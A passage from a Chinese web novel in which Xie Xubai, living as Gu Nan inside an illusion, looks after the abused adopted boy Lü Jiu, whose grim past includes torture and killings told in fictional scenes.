“为什么要替我解围,为什么要关心我吃不吃得好,睡不睡得着,为什么想教我读书识字,为什么要在那些人看不起我的时候帮我出头,为什么照顾我的自尊颜面,为什么要把我护在身后,为什么要给我买衣服——” 他只是穷山恶水出来的野小子,爹不疼,娘早死,八岁被卖给罗浮屠,命比草贱。他只知道被毒打的时候要护住脑袋,只知道要顺从客人的心意,只知道看见血和死人,保持镇定才能活命。 他活到现在,孑然一身,万事只能靠自己,只剩包袱里的脏衣服和一百铜板,没见过什么世面,没感受过“顾南”这种无微不至的关怀。 抵抗不住的。 就算知道“顾南”别有用心,他也抵抗不住的。 就像给要渴死的人一杯鸩酒,给要冻死的人一块烧红的烙铁,他是有天大的定力,能忍住不喝不碰? 吕九气得眼睛都红了,含恨瞪着面前这个可恶的混蛋。 那一声声为什么,都是在咒骂谢叙白干嘛要来招惹他。是闲得没事干,还是单纯想要满足自己的怜悯心? 被泡在蜜罐子里长大的少爷,到底知不知道自己无心的施舍,会给什么都没有的人带来多大的影响。 谢叙白和吕九愤恨的目光交织在一起,怔了怔,歉然自责:“对不起,是我的问题。” 既是看戏,就该维持好顾南的人设,对吕九遭遇的一切旁观到底。 不至于像现在这样弄出一系列蝴蝶效应,差点影响事件的走向。 吕九见谢叙白真的在懊悔对自己好,瞬间咬牙切齿,泪水溢满眼眶,气得更凶了。 个龟孙的,他就不该回来救这个傻叉!他现在就走! 谢叙白叹气:“但我忍不住。” 也舍不得。 虽然场景是假的,可人是真的。吕向财的灵魂此时就留在吕九的身体里,无声感受着当年的喜怒哀乐。 既然知道好友会痛会难受,会把过往的苦楚再经历一遍,他又怎么能做到作壁上观? 该说不说,幸好还有“重生”的顾南,只要经历过相同的事件,就能恢复记忆。 实在不行,他找金丝眼镜学习一下怎么打开时空之镜?也能看见当年发生了什么事。 总而言之。 谢叙白拍拍吕九的背:“不会突然抛弃你的,放心。留下来吧,当我的弟弟,不管你是狠毒无情,是奸险狡诈,还是犯下过什么事,惹出了天大的麻烦,你都是我的弟弟。” 他认定的挚友家人,必然会负责到底。 吕九动作一僵,原本挺起来的身子,又慢吞吞地缩回谢叙白的怀里。那些让他患得患失,让他心口疼痛非常的东西,好像忽然就消失不见了。 他眼神飘忽,揪住衣领的手指扣来扣去,半晌艰难地说道:“我刚才好像看见了纵火的人,他……” 谢叙白笑道:“放心,那人已经被巡查队抓住了。” 可那是罗浮屠的人。吕九嚅嗫嘴唇,做不到直接坦白,心情十分阴郁。 他严重怀疑,就是因为谢叙白和自己走得太近,才会被牵连,突遭横祸。这样一想,想跑的冲动再度油然而生,愈发强烈。 “我忽然想起个事。”谢叙白抱着吕九,掂量了几下,“看你的身手这么灵活,长大后要不要去军队,在我舅舅手底下做事?” 在顾南为数不多的记忆里,吕九日后去参了军,但不是他推荐的,是顾家主的安排,为了给自家小儿子培养忠心可靠的保镖。 既是保镖,军衔就不能太高,恐功高盖主,不好控制。所以在吕九升上尉官后,顾家主就把他叫了回来,专心留在顾南身边保驾护航。 彼时顾南已经成年,开始尝试接手家里的一些生意。 他拗不过父亲的决定,对被迫舍弃前程的吕九,不免心生内疚。为了弥补对方,顾南带着吕九同进同出,做账、验货,从未避开过对方。后面一有机会就带吕九参加酒宴,领人进入名流世家的圈子,介绍人脉,铺路。 放眼整个顾家,别说外姓养子,就是本家子弟,也很少有像吕九这样可以随意插手干预家族生意,被委以重任的人。 以至于顾家后来出了叛徒,资金流被人恶意做空,原订的单子和货被对家抢走,所有人都将怀疑的矛头指向了吕九。 当时没人料到,那会是顾家家破人亡的开始。 正如同真实历史里的吕九也没有想到,罗浮屠的人手早就渗透进了海都。 就在吕九求顾家收留的第二个月,由于识字不多,写字歪歪扭扭,比狗爬的还难看,他被安排去一所公立学校上学。 吕九没上过小学,漏下的功课比较多,老师便留他放学补课。 补完后天色太晚,老师好心送他一起回家,结果还没走出街道拐角,就被人用喷洒过蒙汗药的抹布捂住嘴,直接药晕。 时隔不到一个月,吕九再度见到罗浮屠,被几名手下压着灌水,灌到吐,吐完再灌,反复不知多少次,直到把肚子里的东西都吐干净了,除了带血丝的酸水,再也吐不出其他东西,捂住嘴咳得昏天黑地。 罗浮屠好以整暇地坐在椅子上,手上盘核桃,脚尖勾起吕九的下巴,问他,当初的纸条上写了些什么。 吕九咬紧腮帮子,脸色发白,一声不吭,被不耐烦的罗浮屠一脚踹倒,揪着头发拎起来,戏谑地嘲笑:“小九儿现在当真是硬气了,你该不会真的以为顾家能护得住你吧?” “你这么聪明,难道就没有怀疑过,和贫民窟半点不沾边的顾家小少爷,当初为什么会在你伤重的时候恰巧路过那条街,又恰巧看到你,及时救你一命?” 吕九听出他话里的深意,心神俱震,扭过头不敢置信地盯着他。 罗浮屠笑眼微眯,眼底透着叫人不寒而栗的幽芒:“你没猜错,包括你会进入那家学校,都是我的安排。” 第145章 怎么被吓成这样 如果吕九再长大几岁,会发现罗浮屠说的全是狗屁。如果他的行踪一直处于对方的监视之下,那现在为什么还要多此一举,追着问他在纸条上写了些什么。 可当时的吕九,即使再怎么聪明早熟,也无法分辨罗浮屠半真半假的话。 罗浮屠一拍巴掌,四周传来锁链碰撞的声响,窸窸窣窣。 吕九猛然一哆嗦,恐慌地看向昏暗的角落。只见阴影里慢吞吞地爬出来几道毛茸茸的身影,四肢着地,有大有小,脖子上拴着血痂凝固的锁链,稍微动一动,就晃,就响。 它们在罗浮屠的巴掌声里抬头,看着吕九的瞳孔涣散无光。 罗浮屠探身,手掌从吕九苍白的脸庞一路摸到脆弱的脖颈,如阴湿滑腻的毒蛇般缓缓缠绕其上。 又拉开他的衣领,露出后背一块被烫伤的暗红色疮疤,手指按上去,反复摩挲。 屋子里的黑暗浓稠了几分,似流体隔绝掉为数不多的氧气。那数双空洞漆黑的瞳孔犹如泥潭,让吕九深陷进去,感觉到阵阵窒息,他张了张嘴,连喘气都费力。 “小九儿,我的好孩子啊,我对你如此寄予厚望。” 罗浮屠贴近他的耳边,嗓音温和,殷切嘱咐:“不要背叛我,不要让我失望。” * “叩叩。” 夜深人静,房间外忽然传来敲门声,谢叙白眉毛微动,下床打开门。 吕九僵硬地站在门外,脸上毫无血色,像被抽空灵魂的木偶。 谢叙白感受着对方身上传来的情绪波动,似乎惊惶,似乎麻木,黏稠厚重地挤在一起,叫人喘不过气。他眉头微皱,温声询问:“怎么了?是不是又做噩梦了?” 距离纵火案已经过去一个月,或许是手下意外被抓,让罗浮屠有些投鼠忌器,这一个月他和他背后的主顾没有再轻举妄动。 但吕九却开始做噩梦,特别在纵火凶手无端死在监牢中后,梦到的内容就越发惊悚。 吕九猛然抬头,看见谢叙白的脸,方才醒神。先是摇摇头,又点头,最后双臂抱住自己,止不住地哆嗦。 谢叙白有些心疼,发现吕九睡觉又没有穿睡衣,而是穿着便于行动的常服,轻轻一叹,从衣架上拿出厚实暖和的大衣给他披上:“外面冷,先进来。” 进入房间,看着谢叙白关上门,严丝合缝地拉上窗帘,隔绝所有可能窥探到屋里情况的视线,吕九绷紧的肌肉稍微松了松,拢紧大衣,哑声问:“我能不去学校吗?” 谢叙白看着他,柔声道:“可以,不过书还是要念的,我让爹给你找个家教。” “不!”听到要找人,吕九用力地揪住谢叙白的衣袖,眼眶微红,犹带着三分歇斯底里,“我自己可以学,不需要其他人来教!” 话没完全出口,触及谢叙白平静的眼睛,吕九忽然反应过来自己情绪过激,触电般松手,慌张地道歉:“抱歉,我不是……” 但谢叙白只是笑了笑,没有责怪他的激动,又揉了揉他的脑袋,心平气和地说:“嗯,我不怀疑你有这样的能力。” 谢叙白莞尔地看着他:“如果你不想要家教,也可以,我找人收集有注解的书籍,学起来更容易一些。” “要是有地方看不懂……” “那就等我回来,我来教你。” 吕九不吭声了。 顾南被谢叙白用精神力温养了一个月,魂体比之前凝实不少,大部分时间都能保持清醒,听到谢叙白的话,当即嘟囔起来:“你也太娇惯他了吧。” 下一秒吕九抿着嘴唇,低声恳求:“我今晚能不能和你一起睡?” 顾南:“……??” 不怪他如此震惊。在他的印象中,吕九只有表面殷切,实则冷心冷情,别说像现在这样主动亲近,就是旁人无意识靠近他一米范围内,都会惹来他的不悦生忌。 但现在的吕九,向谢叙白撒娇撒得是相当顺溜,后者还没开口,就脱掉鞋子,一溜烟蹿进对方的被子里。 ——主要是前几日已经开过先例,当时吕九也是做噩梦睡不着,被谢叙白唱歌拍背,哄着入眠。 谢叙白也上了床,吕九侧躺在他身边,沉默许久,突然转过身,看着他问:“梦都是假的,对不对?” 谢叙白问:“你梦到了什么?” 吕九没说话。 谢叙白没有继续追问,温声回答:“一般都是假的,日有所思夜有所梦,你越是害怕什么,就越会梦到什么。” 吕九第一反应是反驳,他没法解释自己梦到的东西有多真实,更怕说出来会吓死面前不谙世事的小少爷。 “不过。”谢叙白话锋一转,“还有那么一些人,他们天赋异禀,比寻常人要敏感多思,能从一般事物身上感知到部分蛛丝马迹,无意识地在脑子里编织成真相,再用做梦的形式发出示警。” 吕九:“太绕了,说明白点。” 谢叙白无奈一笑:“预知梦,听说过没有?” 吕九心里一咯噔,面上还是不以为意地撇了撇嘴:“那不是江湖骗子唬人的说法吗?” 如果没有诡异降临,不存在什么重生或转世,网上大部分的预知梦,确实是坑蒙拐骗的套路。 这一个月以来,谢叙白没给罗浮屠的人靠近吕九的机会,但后者还是天天做噩梦,心理阴影愈发严重。 除去被谢叙白附身的顾南和他的分身顾白,吕九不愿意接触任何人,在外更是风声鹤唳,草木皆兵,连猫狗路过,都会被刺激得浑身僵硬,偶尔还会无端发笑。 这里是幻境,而非真实的过去,不存在时空的自动修正。系统已经落荒而逃,再回来的可能性很小,谢叙白用精神力探测过,没有异常。 所以排除一切外界的干扰因素,只剩下一个可能。 谢叙白轻轻地叹了口气,将无声的识念发散出去:你何必这么折腾自己? 如同声击幽谷传出回响,吕九的身上缓缓浮出氤氲红雾。 风声虫鸣鸟叫,一切微小细碎的声响都消失了。整个空间的人事物蓦然被按下暂停键,除去谢叙白还能动弹以外,其他完全静止。 红雾凝结成一道成人体态的虚影,戴着半遮面具,慵懒地斜躺在床上,手臂支起下颚,自下而上瞧向谢叙白,笑眼柔和至极:“既是要看我的过去,审判我的罪,偏差太大怎么行?” “那时候可没什么人管我,家主和夫人老糊涂,老大被人诓骗,二姐早早嫁人,三姐海外求学,剩下顾南那个二傻子,成天被那些狐朋狗友哄骗出去玩物丧志,偌大一个顾家,被渗透成筛子都没人察觉。” 红影掐住吕九的下巴,像打量贱卖的商品,嫌弃地啧了几声:“你说当初怎么就这么傻,明知道顾家不安全,还要往火坑里跳?” 谢叙白瞥他一眼,见红影下手没个轻重,将吕九的皮肤都给捏红了,伸手拍开他的爪子:“好了。” 谢叙白:“当时情况危险,你除了依靠顾家没有别的选择。况且你这时候才九岁,身边没有可以信赖的人,已经尽最大的能力保全自己了,犯不着自贬自弃。” 红影无声地盯着被谢叙白打开的手,半晌,方才双眼一眯,直勾勾地凝视着吕九的脸:“所以啊,真让人嫉妒。” 谢叙白:“?” 红影看他一眼,换回平时的语气,不咸不淡地说道:“我会让他慢慢回想起自己做过什么事,并且再做一遍,你也别阻止我,好生看着就行。” “还有,劝你别对他太好。吕九就是一个天生恶种,满嘴谎话,自私自利,没什么同理心,遇到危险也只会抛下任何人,只顾着自己逃命。你这么稀罕他,到时候要是被辜负,被欺骗,可别怪我没提醒过你。” 谢叙白和红影相视一眼,道:“他不是那样的人。” “……”红影面无表情地扯了一下嘴角,“是嘛,愿你之后也能保持这种乐观的想法。” 见红影变成雾状,谢叙白赶在他消失之前问:“对了,你小时候有没有什么想做的事?” 红影略一停顿,心里冒出无名火,几乎嫉妒得面目全非,冷冷地回答:“没有,再问这场戏就别看了,我直接掐死他。” 谢叙白虽然猜到吕向财可能存在自厌心理,却没想过会这么严重,说到掐死自己的时候,话里全是杀意。 他无奈揉额,沉声道:“吕向财——” 红影发现谢叙白似乎真的生了气,视线挪开,不情不愿地吐出两个字:“鲸鱼。” 说罢发出一声幽怨的嗤笑:“有了新人忘旧人,呵,男人。” 说完便消失得无踪无影,让谢叙白连再次叫住他都来不及:“……” 凝滞的空气再次流动,躺在床上的吕九被暖意包裹,忍不住打了个哈欠,忽然听到谢叙白问:“你喜欢鲸鱼吗?” 似乎很久之前,吕向财确实邀请他去参加一场海上宴会,重点在能看见一年一度的座头鲸迁徙。只是谢叙白没什么时间,就没去。 “鲸鱼?”吕九问道,“什么是鲸鱼?” 谢叙白正要解释,吕九忽然想到什么:“我在坐船来海都的路上确实看见过一种鱼,从轮船下游过,仿佛比船还大,是不是你说的鲸鱼?” 谢叙白说是,他喃喃道:“原来那叫鲸鱼么……你怎么突然问我这个?” 谢叙白笑道:“没事。我只是突然想起之前在时报上看到的一篇报道,有人在东湾宁口县发现一具搁浅死亡的鲸鱼尸体,不久后应该会制成标本在博物馆里展览。你要是喜欢,到时候我带你去。” 吕九却突然一僵,不知道在想什么,忽然有些沉默,半晌怔忪地问:“它那么大一个,也会死吗?” 那么早慧现实的人,只有在提到生死的时候,才显露出几分孩童的脆弱和天真。 谢叙白察觉到吕九的异常,揉揉他的脑袋,轻声宽慰道:“万事万物都有寿数殆尽的时候,但不需要太伤心。人已经算是一种长寿的生物了,鲸鱼普遍比人还活得长久。” “你日后要是有机会养一条鲸鱼,没准它还可以给你送终。” 吕九对上谢叙白揶揄的笑眼,当即从伤感中抽离出来,扯了扯嘴角。 今晚他大概率还会做噩梦,但好在身边有一个“顾南”。吕九闭了闭眼,忽然开口:“刚才说不去上学的话,是我在和你开玩笑,我想下周就去学校。” 谢叙白顿住,问他:“怎么突然改变主意?” 吕九解释得头头是道:“我是讨厌和人接触,但总不能一辈子都不和别人打交道。那么多书和学问,要是没人教,学起来也忒麻烦了点。你自己也有学要上,有事要忙,一直缠着你像什么话。” 还有一些话压在吕九的心底,他虽然年龄小,却看得清。 ——有些人,有些事,不是不想面对,就能逃避得了的。 * 大概十三岁这年,吕九在罗浮屠的要求下,和对方在私底下频频会面。 彼时顾家已初步和罗浮屠建立商贸同盟,顾家每年需要定期派人核定货单,检验和运送那些织锦绸缎。吕九被有意安排去当随从,打下手,偶尔也会跟从管事,乘坐游轮,辗转回到自己出生的老家。 以前只顾着怎么逃跑,直至重回故地,吕九才发现罗浮屠的势力比想象中更加深不可测。 光是每月登门拜访的人就数不过来,客人身份来历不详,直至范围广泛,遍布五湖四海。名下也不止一家戏院、一家绣坊,还涉及到酒业和武器贩卖。但这也只是冰山一角,那些更黑暗、更惊世骇俗的东西,还藏匿在暗潮汹涌的海底。 可以肯定的是,没有大家族丰厚的资金底蕴支撑,一个靠猎奇幻戏半路发家的罗浮屠,绝不会有这么大的能耐。 有人在帮罗浮屠,而且不止一人。 一般人查到这里,大概会彻底死心,或是畏惧退缩。幸好吕九自认为不是一个好人,对这一切都适应得很快。 十五岁那年,吕九被顾家安排进军队,三个月后带队剿灭一伙盗匪,初获军功,顾家二爷见他天姿出众,将其收为副官。 又两月,吕九应罗浮屠的会面要求来到秘密联络点,路过层层搭建的黑牢,里面正在处置叛徒,凄厉的惨叫声穿透厚实的石墙。 同行的几人只觉得毛骨悚然,摸着暴起的鸡皮疙瘩想要离开,唯独吕九停下脚步,不顾看守的阻拦,笑眯眯地推开牢房大门,非要去瞧个趣味。 受刑的人,被铁钩贯穿肩胛骨,吊在半空中,浑身血淋淋,左半边手臂和大腿,只剩下白森森的骨头架子,下半身濡湿,大小便失禁。 旁边有人在烧烙铁,浓郁的焦烟和血腥味、屎尿味混杂在一起,恶臭刺鼻,燎的人睁不开眼睛。 行刑者戴着口罩,恶声质问:“再问你一遍,是谁派你来的?” 那人奄奄一息,被折磨得意志不清、语无伦次:“不,不要,不……杀,杀了……” 吕九走过去,将举起烙铁的行刑者推开,摸着下巴打量许久,在所有人都没有意料的前提下,毫无征兆地掏出枪,砰的一声,毙了这人。 “九少爷,你这是干什么?!”行刑者尖叫出声。 “抱歉,他丑到我了。”吕九转身,对人无辜摊手。 行刑者哪里肯依,眼下人死了,什么东西都没问出来,被问责的可是他!当即怒目上前,要找吕九的事。 谁想到吕九忽然抬手,漆黑的枪口对准他的脑袋。行刑者毛骨悚然,连忙将双手上举,对上那双深邃如墨的笑眼,哆哆嗦嗦地喊:“九,九少爷?” 吕九用枪口点点他的脑袋,忽地轻笑一声,做口型:“砰。” 然后转身,鞋尖淌过满地血液,踩着悠哉懒散的步子离开。 也是那天晚上,吕九接到消息,“顾南”被他那群纨绔朋友蛊惑,在酒楼里聚众抽大烟。 视角转到酒楼。 偌大的包厢里烟雾缭绕,几名年轻人东倒西歪地躺在椅子上,像被抽掉了骨头,双眼迷离,脸色泛黄发白,颓靡不振。 顾南的残魂被温养几年,缺失的魂魄,也被谢叙白想办法找回来了三魂。 他飘在半空,看着底下把玩烟斗的谢叙白,欲言又止,止又欲言,终于忍不住劝道:“吕九一会儿就该过来了,要不我们先走吧?” 不是他怂,是他想起来这段经历,实属胆战心惊。 吕九找到他们的包厢,进门不是靠敲门,而是靠踹的,两脚踹了个稀巴烂,木渣崩得到处都是。 进来后吕九二话不说,从他的嘴里拔出烟斗,那烟嘴儿可是铜铁造的!吕九这么不管不顾用力一抽,直接给顾南的嘴刮出几道血愣子,差点连牙一起磕掉。 顾南当时疼得只想骂人,一抬头,被吕九似笑非笑的表情吓到心梗。 被问及是谁带他来的这里,他不敢隐瞒,战栗一指,看见吕九将烟斗倒转,烫红的烟嘴直接扣到那人的手背上! 顾南离得很近,近到甚至能听到皮肉被烫伤烧灼的滋啦声响,下一秒那人发出声嘶力竭的惨叫声,整个包厢都听得清清楚楚。 所有人都吓呆了,活像看见阎罗王。 那人痛哭流涕不断求饶,而吕九全程只是笑着,一刻都没有降下嘴角的弧度,拍拍他的脸:“我也不问是谁指使的你,总之你要记住,我们家少爷不抽这玩意,以后谁再敢带他来,我要他的命,听清楚没有?” “找个人带他去医院。” 再然后,吕九把他拷回顾家,当面请示顾家主,拿指节粗的檀木戒尺,把他的手掌硬生生打到红肿出血,疼得他一星期没敢上手碰任何东西,从此对那群狐朋狗友退避三舍。 谢叙白听完顾南哀怨的控诉,略微沉默,叹气道:“按照你爹的性格,绝对不会允许养子自作主张,对亲子施惩。那天之后,吕九消失了几天?” 顾南愣了一下:“四天还是五天,阿荣说他不小心犯了风寒,要养病。我还以为是他生气不想见我。等等,难道我爹事后罚了他?” 谢叙白:“应当是这样。” 顾南闻言,心口有些抽痛,还没来得及说些什么,门口猛然传出两声剧烈的重响,木制大门被嘭的一声踹开,砸上地板。 “什么人?” 吕九气势汹汹地走进来,含笑的目光扫视一圈,最终定格在谢叙白手里拿着的烟斗上。 顾南:要死要死要死! 吕九一步步往这方走,浑身散发着骇人的低气压。顾南仿佛身临其境,毛骨悚然地缩在谢叙白的背后。 谢叙白无奈地看了顾南一眼,忽然像发现什么,视线微微顿住。 “没抽。”谢叙白将烟斗扣在桌上,倒出还没燃烧完的渣滓,解释道,“是茶叶。” 旁边那些年轻人欲仙欲死的模样,是用精神力下达暗示,沉醉在睡梦中。他们的烟斗里也都是茶叶。 谢叙白看向有些意外的吕九,感知后者竭力隐藏的那一丝幽微难明的情绪波动:“刚才遇到了什么事,怎么被吓成这样?” 吕九笑脸僵滞。 第146章 手在抖 但这罕见的失控只在一瞬。 下一秒吕九恢复一贯的微笑,张扬且不掩锐气。他看向谢叙白旁边的年轻人,手掌一扇,赶人起身让座。 在座都是被家里娇惯的纨绔子弟,不说性格恶劣,也绝对不是好说话的主。 那人被吕九一脚踹翻美梦,本就愕然不悦,又被这么轻挑无礼的态度对待,立马就来了火气。 可当他怒气冲冲地对上吕九似笑非笑的眼睛,看清楚站在自己眼前的人是谁时,蓦然就像一盆冰水兜头淋下,一肚子火瞬间灭了个干净。 他慌慌张张起身,挤出谄媚讨好的表情:“哈哈哈,这不是吕哥吗,您怎么有空来这天香楼?” 要说吕九这人,在年轻子弟圈子里当真称得上一声后起之秀。 最初他被顾家收为养子,大家都当是顾家又双叒叕大发慈悲给顾小少爷找了个耍伴。然而短短几年的时间,吕九自学校初露头角。 开学社,免学费,声名远扬,锋芒毕露。与享有盛名的大家名儒一辩高低,拉诸多学子为民生冤案游行示威。再从学堂到军队,剿匪、领军、灭敌不在话下,获取军功无数,年仅十五就晋升尉官。最后却毫不犹豫地摈弃大好前程,从军队毅然请辞,加入巡查队,年纪轻轻自有狠辣手段,凡贪污枉法犯案者,经他之手查办,几乎都要脱下一层皮。 这名纨绔子弟对吕九敬畏至极,不仅因为那些骇人听闻的流言,更是亲眼见过吕九抓人时的心狠手辣。 他还记得那可怜的家伙是个贩假药的大夫,欲要逃跑,被抓住后打了个半死。家中老父仗着年龄大,上前胡搅蛮缠,拖着不让人抓。 吕九也不说话,笑眯眯地拧断假药大夫的一个指节,老父欲要再闹,便又是一个指节,声声脆响,原本昏沉的假药大夫痛醒了,嚎得惊天动地。 最后老父满脸生骇,连连求饶,但吕九并未停下,慢条斯理地拧断那大夫的十根指节,歪歪扭扭地耷拉着,像错长的树枝,还要递到那老父面前供人欣赏,激得对方两眼翻白,当场昏厥过去。 所以很多人都怕吕九,怕到见面就忍不住哆嗦。这名纨绔子弟说话的功夫,就有人按捺不住,踮起脚尖往外溜。 吕九不曾错眼去看,在谢叙白身边落座,翘起二郎腿,好以整暇地捻起烟嘴里的一丝残渣,放在鼻前细闻。 不过片刻时间,外面楼道里便传来那些人被阻拦的动静。 “你们是谁?”“啊!”“你们要干什么,别过来,知道老子是谁吗?嗷嗷嗷!” 痛叫此起彼伏,留在屋子里的纨绔子弟顿时汗流浃背了起来。 吕九闻完残渣,确定是茶叶,才像是刚注意到这人的样子,挑起一边眉梢:“我与家兄有事相商,你还愣在这里干什么,想让我亲自动手不成?” 这是叫他自觉点,出去面对巡查队,将事情一五一十地交代了,或许还能从宽处理。 纨绔子弟哪知道烟斗里的禁物早被谢叙白换成茶叶,为自己一时贪欢满腔悔痛,两股战战地出了屋子。 偌大的房间只剩吕九和谢叙白二人,走廊上没有半道人影,大门破烂敞开,满室死寂。 吕九不说话,只撑着侧颊,另一只手漫不经心地把玩烟斗。 谢叙白看在眼里,问:“生气了?” “不敢不敢,家兄自有主意,阿九怎敢生您的气?”吕九斜眼瞧他,不掩哀怨地哼哼起来,“只是听到您刚才问我在怕什么,难免心生触动,内心惶恐。万一哪天兄长受奸人蒙骗,惨遭毒手,死无全尸,尸骨无存,阿九该去何处哭坟?” 谢叙白哭笑不得:“你这是呛我呢吧。” 但这事说来还是他理亏,大烟里的成瘾性违禁物历来都是巡查队严查的对象,上个月刚查封一批海外偷渡的货,刑场公开处刑,枪毙不少人,惹得人人风声鹤唳。 这时候别说亲身赴宴,就是连点风声都不能沾,更别提时局正乱,顾家本就在风口浪尖上,被无数双不怀好意的眼睛紧盯着,时刻准备将他们拉下马。 换作谢叙白,也着实想不到顾南到底是被下了蛊,还是单纯缺心眼,狐朋狗友一撺掇,竟然就这样堂而皇之地来了,迷迷糊糊地试了。 最终结果只是挨一顿手板,没有下狱受巡查队的磋磨,顾家和吕九背后应该没少求人费功夫。 诸如此类擦屁股的事,谢叙白也遇到过不少,有时候他作为旁观者,都忍不住对顾南头疼无奈。只能说吕九对顾南从来没有个好脸色,不肯将对方视作兄长,多半都是被气出来的。 谢叙白盯着吕九皮笑肉不笑的脸,琢磨片刻,将手摊平伸出。 “是我任性妄为,没能顾及家里的名声和你的处境,你想怎么罚,我都受着。” 只要不涉及原则和吕九的安危,谢叙白都尽量遵循历史原定的轨迹,是以千不该万不该,他还是来了,算明知故犯。他既然附了顾南的身,接手对方的身份,也该为此负责。 吕九闻声挪移视线,瞧向谢叙白的手掌。 骨节分明,白皙细嫩,只有指腹带有薄薄的笔茧,看着就不经打,一戒尺下去保准泛红生肿。 他对“顾南”的情感其实相当复杂。幼时被人护在身后,心生憧憬依赖,总觉得看不透这人,将对方幻想得格外伟岸。 到后面,这人却犯下不少贻笑大方的糗事,平日里跟长不大似的只会瞎嚷嚷,撑不起场面,往日惊艳瞥见的沉稳身姿,全然成了一个不真切的幻影。 吕九难免怀疑自己曾经是不是眼瞎看错了人,内心落差极大,甚至有点厌烦。 但一听说这人要出事,他还是想也不想地跑来了,风尘仆仆,疯赶快赶,鞋底裤脚甚至还沾着血污。 吕九这样想着,用烟斗随意剐蹭谢叙白的掌心,后者也没往回缩,目光仍旧沉静坦荡。 吕九忽然道:“巡查队前不久查到他们买卖禁物的事实,凭证货款证人皆有,就算你把那些东西换成茶叶,也会被牵扯进来,脱不开干系。” 谢叙白自然知道,这就是他会出现在这里的原因——顾南赴宴的背后有罗浮屠的手笔,后者接到幕后者的示意,准备对顾家下手,败坏顾家少爷的名声只是个开始。 这更是一种信号,将吕九逐步逼到钢丝线上,逼他尽快在顾家和罗浮屠之间做出选择,是重要的事件节点,能带出不少往事真相。 谢叙白的思绪千回百转,面上不动声色:“多谢阿九告知,我知晓了。” 吕九打量他,再度生出那股前后矛盾,看不透对方的异样。 要说“顾南”知道轻重,他竟然胆敢在没带任何保镖的前提下,偷偷溜来这种私宴。 要说“顾南”愚昧无知,对方能神不知鬼不觉地换掉禁物,还能在他破门而入的时候,稳如泰山地端坐在原位。 吕九倏然气得有些牙痒痒,当真是皇帝不急太监急。 他捏着烟斗,莫名有股冲动,想知道自己狠狠敲下去,面前从容淡定的青年会不会像那些死鸭子嘴硬的犯人一样叫,一样哭着求饶。 最后他硬是憋住火,顺了气,笑着一抬手,用烟斗将谢叙白的手掌推回去:“所以啊,别指望我这次会帮你求情,等着被家主关禁闭吧。” 躲在谢叙白背后等着一场狂风暴雨的顾南:“……” 顾南不敢置信! 在他的印象中,这家伙对他可从没这样温和过,要么冷眼以待,漠视不理,要么笑里藏刀,威胁恐吓。 重压之下,他甚至已经忘记自己实际比吕九大几岁,在家还要被吕九称一声哥哥。归根结底,还是吕九成长得过快,快到盖过无数人的风头,不知不觉中稚气全消,浑然已成叫人闻风丧胆的模样。 但所有人对吕九避之不及的时候,谢叙白却丝毫不怕。吕九懒得罚他,他顺势将那柄烟斗抽回来:“你还没告诉我,到底发生了什么事?” 吕九手里一空,立时感到意外,也没瞧见谢叙白怎么使劲儿,烟斗竟就被抢了过去。这不是重点,重点在谢叙白的询问。 吕九敷衍中带着挖苦:“这一天天除了你搞出来的这些破事,还能有什么事,最近不太平,你好歹也消停消停吧,别叫我这个少爷伴读整天提心吊胆。” 谢叙白摇了摇头:“我指你的事。” 他用烟斗敲敲吕九的手指:“难道你没发现自己的手一直在抖么?” 吕九顿时啼笑皆非,什么蠢话,他从不手抖。 直至垂睫一看,右手食指,那根扣响扳机毙了黑牢囚徒的手指,此时正微微地痉挛着,不受控制。 第147章 叫一声好哥哥,罩你一…… 这一幕对吕九属实有点陌生,以至于愣上好几秒才猛地蜷紧手指,看着谢叙白的眼神骤冷。 气氛在这一刻急转直下,空气中泛着无形的寒意。 这股寒意并非敌对,更像悠哉舔毛的狐狸猝不及防瞧见有人靠近,自己还无意露出脆弱的肚皮,瞬间寒毛直竖,嘶吼示威。 可见吕九不喜欢失控,更不喜欢失控的时候被人看出端倪。 他很快拾掇好表情,摊开手掌,翻转示意:“哦?我怎么没看出来自己哪里手抖,怕不是你眼花看错了。” 谢叙白抬眼和他相视。 吕向财对他,总有一种想让他看清自己的为人,又怕他全部看清的扭捏。平时都会借着自己是幻境缔造者的便利,将情绪波动死死捂住,藏得滴水不漏,不让他深入探究。 除非波动太大,压都压不住,濒临摇摇欲坠的边缘,才会被谢叙白切实感知。 正如此刻。 吕九见谢叙白一直不说话,忽然没了耐心,作势站起身,嫌弃得自然而然:“瞧,又开始发呆犯迷糊,早就提醒过你别和那群傻子玩,本来脑瓜子就不灵光,现在变得更傻了。” “听说那群洋人在海外搞了个什么科技,很擅长治脑子,改天等我请示家主把你送过去治一治,省得以后都没人要。” 听他嘴上不饶人,顾南瞬间回忆起那段被持续打压的痛苦过往,恨不能冲上去咬吕九两口,委屈巴拉地控诉:“谢先生你看他!从来都是这副目中无人的德性!” 是了,这就是如今大多数人对吕九的印象。 眼下吕九懒散地勾着唇角,眯起一双缱绻姣好的含情目,呛起人来信手拈来,端的是一副气定神闲的架势。 又有谁知道,其实他内心动荡不止,惊惧交加。 谢叙白施以无形的精神力,安抚气急的顾南,视线不离吕九,上下一打量,定格在对方的裤脚:“你杀人了。” 吕九低头瞧见裤脚的血渍,笑道:“小少爷,现在正是我当差的时间,我从监牢匆匆忙忙赶过来,身上不小心沾点血又有什么稀奇的?凭什么污蔑我杀了人?” “因为你今天开过枪。”谢叙白点道,“袖口有被火星子溅射的焦痕,呈爆炸放射状。昨天见你的时候还没有。” “……”吕九掀了掀眼帘,缓缓道,“我该夸你总算眼尖了一回吗?是,我刚处决掉一些顽固抵抗的匪徒,顾少爷既然这么好奇,需不需要我给你具体描述一下他们死不瞑目的模样?” 若是一般人触及他冰冷的眼神,现在必当胆颤地闭上嘴,快速岔开话题,但谢叙白不是一般人。 他对吕九的警告熟视无睹,同样站起身:“从小到大你都有个习惯,每次沮丧烦躁,要么憋着自己生闷气,要么就多话,喋喋不休地说个没完,无差别地向周围的人宣泄情绪。为一个死有余辜的匪徒心神不宁,不是你的性格。你究竟杀了——” 谁字尚未出口,吕九蓦然转身,“嘭!”的一声把谢叙白用力按回椅子上,座椅震晃。 气氛急转直下,紧张得一触即发。 吕九视线自高而下,胳膊肘卡在他的颈项前,眯眸轻声道:“顾南,你在咄咄逼人前要不要先搞清楚,你在和谁说话?” 顾家名义上收养他,其实根本没把他当作家族的一份子。几年来,来自顾家内部的贬低欺压并不少见。 他自知在那些高高在上的贵人眼中,自己充其量只能算给少爷逗趣的玩具,就算晋升尉官,又当上巡查队长兼狱官,也不过从玩具晋升成有用的工具,随时都能抛弃放弃。 